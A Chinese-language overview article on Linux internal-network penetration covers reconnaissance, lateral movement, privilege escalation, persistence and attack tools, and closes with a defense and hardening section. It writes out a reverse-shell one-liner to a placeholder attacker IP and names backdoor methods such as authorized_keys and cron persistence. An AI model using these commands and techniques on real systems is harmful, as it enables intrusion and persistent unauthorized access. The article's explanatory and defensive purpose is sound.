Linux内网渗透是企业网络安全防御中的关键环节，攻击者通常通过突破边界设备后，在内网环境中进行深度渗透，以获取核心数据或关键系统权限，内网环境由于主机间信任关系复杂、权限管控不严等特点，往往成为攻击者的“跳板”和“目标乐园”。
信息收集与横向移动
内网渗透的首要步骤是信息收集，目标是绘制内网拓扑、识别存活主机及开放服务，常用工具包括nmap（通过-sV参数识别服务版本，-sn进行主机发现）、arp-scan（局域网主机探测）以及masscan（大规模端口扫描），通过分析/etc/hosts、/etc/resolv.conf等文件，可获取内网域名解析规则；结合netstat -an或ss -tulnp，能发现目标主机监听的端口和服务，如SSH（22）、SMB（445）、MySQL（3306）等。
横向移动是内网渗透的核心，利用协议漏洞和信任关系实现权限扩散，SMB协议是常见入口，攻击者可通过永恒之蓝（EternalBlue）等漏洞入侵未打补丁的主机，或使用smbclient访问共享资源获取敏感文件，SSH协议则可通过密钥传递或暴力破解实现登录，若目标主机配置了“允许root登录”或“信任其他主机SSH密钥”，攻击者可轻松横向移动，RDP（3389）、FTP（21）等服务的弱口令或配置错误,也为横向移动提供了可乘之机。
权限提升与持久化
获取初始权限后，攻击者需进一步提升权限以访问核心资源，Linux权限提升常见途径包括内核漏洞（如Dirty COW、CVE-2021-4034）、SUID滥用（通过find / -perm -4000 -type f查找具有特殊权限的文件，如/bin/passwd）、定时任务劫持（分析crontab文件，替换脚本为恶意命令）以及环境变量劫持（修改PATH或LD_PRELOAD加载恶意库）。
持久化则是确保攻击者长期控制内网的关键手段，常见方法包括SSH公钥后门（将公钥写入~/.ssh/authorized_keys）、定时任务后门（添加恶意cron条目）、服务自启动（通过chkconfig或systemd配置恶意服务启动）以及隐藏进程（使用rootkit技术隐藏进程和文件），攻击者还会建立反向shell（如bash -i >& /dev/tcp/攻击IP/端口 0>&1）,确保即使目标重启仍能重新连接。
常用工具与技术栈
内网渗透依赖多样化的工具组合，nmap和masscan是端口扫描主力，配合Nmap脚本引擎（NSE）可检测服务漏洞；metasploit框架（MSF）集成了丰富的漏洞利用模块，如针对Linux的shellcode生成和多阶段攻击载荷；bloodhound通过分析LDAP数据，可视化内网域环境中的信任关系，快速定位域管理员权限；LaZagne是一款跨平台凭证抓取工具，可获取SSH、MySQL、系统密码等敏感信息；而Empire和Cobalt Strike则支持横向移动和持久化操作,并提供图形化界面控制攻击链。
防御与加固策略
针对Linux内网渗透，需构建多层次防御体系，首先是权限管控，禁用root远程登录，通过sudo实现精细化权限管理，定期审计sudo日志；其次是网络隔离，划分VLAN隔离不同安全级别的主机，使用防火墙（如iptables、firewalld）限制内网间非必要访问；再者是漏洞管理，定期使用lynis、OpenVAS等工具扫描系统漏洞，及时打补丁并更新软件版本；日志审计同样关键，通过syslog集中收集系统日志，使用auditd监控敏感操作（如sudo、文件修改），结合ELK（Elasticsearch、Logstash、Kibana）实现日志分析与异常检测；最后是蜜罐技术，部署高交互蜜罐（如Cowrie）诱捕攻击者，延缓其渗透节奏并获取攻击特征。
Linux内网渗透的本质是攻防对抗的持续博弈，唯有理解攻击路径、掌握技术细节，并从权限、网络、漏洞、日志等多维度加固，才能有效抵御内网威胁,保障企业核心资产安全。
